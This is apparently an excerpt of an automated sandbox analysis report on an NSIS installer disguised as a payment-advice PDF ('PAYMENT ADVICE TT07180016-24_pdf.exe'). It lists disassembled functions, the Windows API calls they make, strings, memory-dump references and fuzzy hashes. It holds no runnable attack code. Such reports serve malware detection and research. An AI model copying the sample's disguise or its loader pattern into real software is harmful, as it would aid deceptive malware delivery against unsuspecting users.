Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: 93673c575230451abb0308dee03947b91720819ab8eaafde2c5768f7b1eff422
Instruction ID: bba7bc1bbfa323a43f965ccea5c6d76089a10f976336bb633e0bf1cd6394a54a
Opcode Fuzzy Hash: 93673c575230451abb0308dee03947b91720819ab8eaafde2c5768f7b1eff422
Instruction Fuzzy Hash: E1219E72800114BBDF216FA5CE49D9E7EB9EF09324F24023AF550762E1C7795E41DBA8

Function 00402537 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 67stringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\nsxC748.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsxC748.tmp\System.dll,00000400,?,?,00000021), ref: 00402583
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsxC748.tmp\System.dll,?,?,C:\Users\user\AppData\Local\Temp\nsxC748.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsxC748.tmp\System.dll,00000400,?,?,00000021), ref: 0040258E

Strings

C:\Users\user\AppData\Local\Temp\nsxC748.tmp, xrefs: 0040257C
C:\Users\user\AppData\Local\Temp\nsxC748.tmp\System.dll, xrefs: 00402552, 00402575, 00402589, 004025D5

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsxC748.tmp$C:\Users\user\AppData\Local\Temp\nsxC748.tmp\System.dll
API String ID: 3109718747-2886521359
Opcode ID: 3d2fa72be5f195c02a17edb7a7abc67028f461df84df2576b51681d351cbf091
Instruction ID: 733a5b8a3421de7103486a8e2fd1e7248c9e7ae9f3a69bb90da27b1d5488d101
Opcode Fuzzy Hash: 3d2fa72be5f195c02a17edb7a7abc67028f461df84df2576b51681d351cbf091
Instruction Fuzzy Hash: E011EB71A01205BBDB10AF718F49A9F3265DF44754F24403BF501F61C2EAFC9D91566D

Function 100018A9 Relevance: 7.7, APIs: 5, Instructions: 189COMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(?), ref: 10001908
GlobalFree.KERNEL32(?), ref: 10001A93
GlobalFree.KERNEL32(?), ref: 10001A98

Memory Dump Source

Source File: 00000000.00000002.2036183059.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2036170525.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2036195897.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2036208769.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: 2b8b4b1e7525df0b70178d99aec232a76bf74dae3dcdb19d2f86b3abb44108d8
Instruction ID: 56de187798276af1e94fdae5c91d23c4da0ac5596926d43ddda2a484f8c4ba85
Opcode Fuzzy Hash: 2b8b4b1e7525df0b70178d99aec232a76bf74dae3dcdb19d2f86b3abb44108d8
Instruction Fuzzy Hash: 82511336E06115ABFB14DFA488908EEBBF5FF863D0F16406AE801B315DD6706F809792

Function 00402BFF Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00402C20
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402C5C
RegCloseKey.ADVAPI32(?), ref: 00402C65
RegCloseKey.ADVAPI32(?), ref: 00402C8A
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402CA8

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 9537b7928c54e317f26638c763091e9991b3818ca9768273474462c6ff6c3974
Instruction ID: 923876515d334741f157c0c1a16b9ae25b0374e488e2a62f99a19aca1c1d50f8
Opcode Fuzzy Hash: 9537b7928c54e317f26638c763091e9991b3818ca9768273474462c6ff6c3974
Instruction Fuzzy Hash: 4B116A71504119BFEF10AF90DF8CEAE7B79FB54384B10003AF905A11A0D7B49E55AA28

Function 100015FF Relevance: 7.5, APIs: 5, Instructions: 41memorylibraryloaderCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,10002148,?,00000808), ref: 10001617
GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,10002148,?,00000808), ref: 1000161E
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,10002148,?,00000808), ref: 10001632
GetProcAddress.KERNEL32(10002148,00000000), ref: 10001639
GlobalFree.KERNEL32(00000000), ref: 10001642

Memory Dump Source

Source File: 00000000.00000002.2036183059.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2036170525.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2036195897.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2036208769.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction ID: 7647a3e7d8fb005f6fbf822ef0874fdc4783f8eaf5d0662476f5196d1f8db515
Opcode Fuzzy Hash: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction Fuzzy Hash: 7CF098722071387BE62117A78C8CD9BBF9CDF8B2F5B114215F628921A4C6619D019BF1

Function 00401CFA Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D00
GetClientRect.USER32(00000000,?), ref: 00401D0D
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D2E
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D3C
DeleteObject.GDI32(00000000), ref: 00401D4B

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 8e0fabd36c2f6d3e7eeae66a254b8168ed1f2a4b1cc3225a820133a00fa4cc9f
Instruction ID: e4f3909cb7298d305a77c10ae8325f91f27f48586481a57425ae6c27891e8aa9
Opcode Fuzzy Hash: 8e0fabd36c2f6d3e7eeae66a254b8168ed1f2a4b1cc3225a820133a00fa4cc9f
Instruction Fuzzy Hash: 8AF0F472600504AFDB01DBE4DE88CEEBBBDEB48311B104476F501F51A1CA74DD018B38

Function 00404970 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042D268,0042D268,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404A11
wsprintfW.USER32 ref: 00404A1A
SetDlgItemTextW.USER32(?,0042D268), ref: 00404A2D

Strings

%u.%u%s%s, xrefs: 004049FB

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 7f196247ffa4f5a533f026148308de82019fe3f3f4a3a426db09a444c3bfa401
Instruction ID: def2e14d0b5e9bf745060eb8ff4f21dbd1799345f736686a8e00f38c04d15d9e
Opcode Fuzzy Hash: 7f196247ffa4f5a533f026148308de82019fe3f3f4a3a426db09a444c3bfa401
Instruction Fuzzy Hash: 3811EBB3A441287BDB10957D9C46EAF329C9B85374F250237FA65F31D1D978CC2182E8

Function 00401BDF Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C3F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401C57

Strings

!, xrefs: 00401C13

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: bb3cfb28f78b001f2c6e024d0600213de5f72616f9f3d873aed837dd9dfd9417
Instruction ID: e3aefc4fd96fc6be6e01b9b250019d2d880820bae5141952ee5ed295407643d5
Opcode Fuzzy Hash: bb3cfb28f78b001f2c6e024d0600213de5f72616f9f3d873aed837dd9dfd9417
Instruction Fuzzy Hash: DA219071940209BEEF01AFB4CE4AABE7B75EB44344F10403EF601B61D1D6B89A409B68

Function 00405F22 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,00000002,Call,?,00406195,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405F4C
RegQueryValueExW.ADVAPI32(?,?,00000000,?,?,?,?,00406195,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405F6D
RegCloseKey.ADVAPI32(?,?,00406195,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405F90

Strings

Call, xrefs: 00405F25

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Call
API String ID: 3677997916-1824292864
Opcode ID: dc8238eba50b6a515ffb3eaa529f07d06f955d85da5af348ba8f56d7e8cd44ce
Instruction ID: 7b18913d2a4f7d1a63d21b64be8b0843a819b9ea39c2317e7442ba644687e02f
Opcode Fuzzy Hash: dc8238eba50b6a515ffb3eaa529f07d06f955d85da5af348ba8f56d7e8cd44ce
Instruction Fuzzy Hash: 1801483110060AAECB218F66ED08EAB3BA8EF94350F01402AFD44D2260D734D964CBA5

Function 00405A09 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,0040328D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00405A0F
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,0040328D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00405A19
lstrcatW.KERNEL32(?,0040A014), ref: 00405A2B

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405A09

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3081826266
Opcode ID: 69ce20dac70bd98cff0fbc611a97eee619d910519d07cd3d76554ab653056bec
Instruction ID: 6c4fcacab342d11fcc3e0291a3358bee332e4b98312e181ff459d3a43eef6c86
Opcode Fuzzy Hash: 69ce20dac70bd98cff0fbc611a97eee619d910519d07cd3d76554ab653056bec
Instruction Fuzzy Hash: E4D0A771101D306AC211EB548C04DDF72ACAE45344381007BF502B30E1CB7C1D618BFE

Function 00401E66 Relevance: 6.1, APIs: 4, Instructions: 52synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004051B4: lstrlenW.KERNEL32(0042C248,00000000,0041D820,74DF23A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
Part of subcall function 004051B4: lstrlenW.KERNEL32(0040318B,0042C248,00000000,0041D820,74DF23A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
Part of subcall function 004051B4: lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,0041D820,74DF23A0), ref: 0040520F
Part of subcall function 004051B4: SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
Part of subcall function 004051B4: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
Part of subcall function 004051B4: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
Part of subcall function 004051B4: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

Part of subcall function 00405735: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00430270,Error launching installer), ref: 0040575E
Part of subcall function 00405735: CloseHandle.KERNEL32(0040A300), ref: 0040576B

WaitForSingleObject.KERNEL32(00000000,00000064,00000000,000000EB,00000000), ref: 00401E95
WaitForSingleObject.KERNEL32(?,00000064,0000000F), ref: 00401EAA
GetExitCodeProcess.KERNEL32(?,?), ref: 00401EB7
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401EDE

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: MessageSend$CloseHandleObjectProcessSingleWaitlstrlen$CodeCreateExitTextWindowlstrcat
String ID:
API String ID: 3585118688-0
Opcode ID: b55d93dfb97ddf8a14339bcde7d47e4fb5e20aa6c656398e0056b6fada52b68e
Instruction ID: 13991b0c54685da06ec2ee4a2e862f8a6615163aea1ca29b4ebe34551147a3b8
Opcode Fuzzy Hash: b55d93dfb97ddf8a14339bcde7d47e4fb5e20aa6c656398e0056b6fada52b68e
Instruction Fuzzy Hash: DE116131900508EBCF21AFA1CD459AE7BB6EF44354F24403BF901BA1E1D7798A919B9D

Function 00402D8A Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,00402F6A,00000001,?,?,00000000,0040353A,?), ref: 00402D9D
GetTickCount.KERNEL32 ref: 00402DBB
CreateDialogParamW.USER32(0000006F,00000000,00402D04,00000000), ref: 00402DD8
ShowWindow.USER32(00000000,00000005,?,?,00000000,0040353A,?), ref: 00402DE6

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 4531d39793dd689b88ecf9c78e53bc84b8350a2634ed7edc8c543d9bb047c671
Instruction ID: 14797c98da9828bb931948049190d252b5e763d0d3dd0a8fb7bf7e32741345ac
Opcode Fuzzy Hash: 4531d39793dd689b88ecf9c78e53bc84b8350a2634ed7edc8c543d9bb047c671
Instruction Fuzzy Hash: C9F05430611A20BFC6716B50FF4D98B7B64BB84B11701457AF142B15E8CBB80C418B9C

Function 00405B11 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406055: lstrcpynW.KERNEL32(0040A300,0040A300,00000400,00403350,00433F00,NSIS Error), ref: 00406062

Part of subcall function 00405AB4: CharNextW.USER32(?,?,0042FA70,0040A300,00405B28,0042FA70,0042FA70,74DF3420,?,C:\Users\user\AppData\Local\Temp\,00405866,?,74DF3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe"), ref: 00405AC2
Part of subcall function 00405AB4: CharNextW.USER32(00000000), ref: 00405AC7
Part of subcall function 00405AB4: CharNextW.USER32(00000000), ref: 00405ADF

lstrlenW.KERNEL32(0042FA70,00000000,0042FA70,0042FA70,74DF3420,?,C:\Users\user\AppData\Local\Temp\,00405866,?,74DF3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe"), ref: 00405B6A
GetFileAttributesW.KERNEL32(0042FA70,0042FA70,0042FA70,0042FA70,0042FA70,0042FA70,00000000,0042FA70,0042FA70,74DF3420,?,C:\Users\user\AppData\Local\Temp\,00405866,?,74DF3420,C:\Users\user\AppData\Local\Temp\), ref: 00405B7A

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405B11

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 3248276644-3081826266
Opcode ID: c6e1c51320233fe3a8d28f86eff4fa9f75d9a909d4c49901629be8da40a5a1bd
Instruction ID: 9ab821bc962df094d04e13ee53e7cef05d0bc350337be3d6547239d71e0b1b07
Opcode Fuzzy Hash: c6e1c51320233fe3a8d28f86eff4fa9f75d9a909d4c49901629be8da40a5a1bd
Instruction Fuzzy Hash: FFF0A429504E5115D72272361D49EBF3669CF86324B1A063FF852B22D1DB3CB952CCBD

Function 00405735 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00430270,Error launching installer), ref: 0040575E
CloseHandle.KERNEL32(0040A300), ref: 0040576B

Strings

Error launching installer, xrefs: 00405748

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: d9d25ead1e61dd1de32296c4779b051624e3cc0dc0aa34a2348a33ced0ef8ad4
Instruction ID: 39588cd766b2ea89d65183b6a6bcc828c6470883592abd44c37ede1670716c40
Opcode Fuzzy Hash: d9d25ead1e61dd1de32296c4779b051624e3cc0dc0aa34a2348a33ced0ef8ad4
Instruction Fuzzy Hash: B8E0B6B4600209BFEB109B64ED49F7B7AADEB04708F004665BD50F6191DB74EC158B78

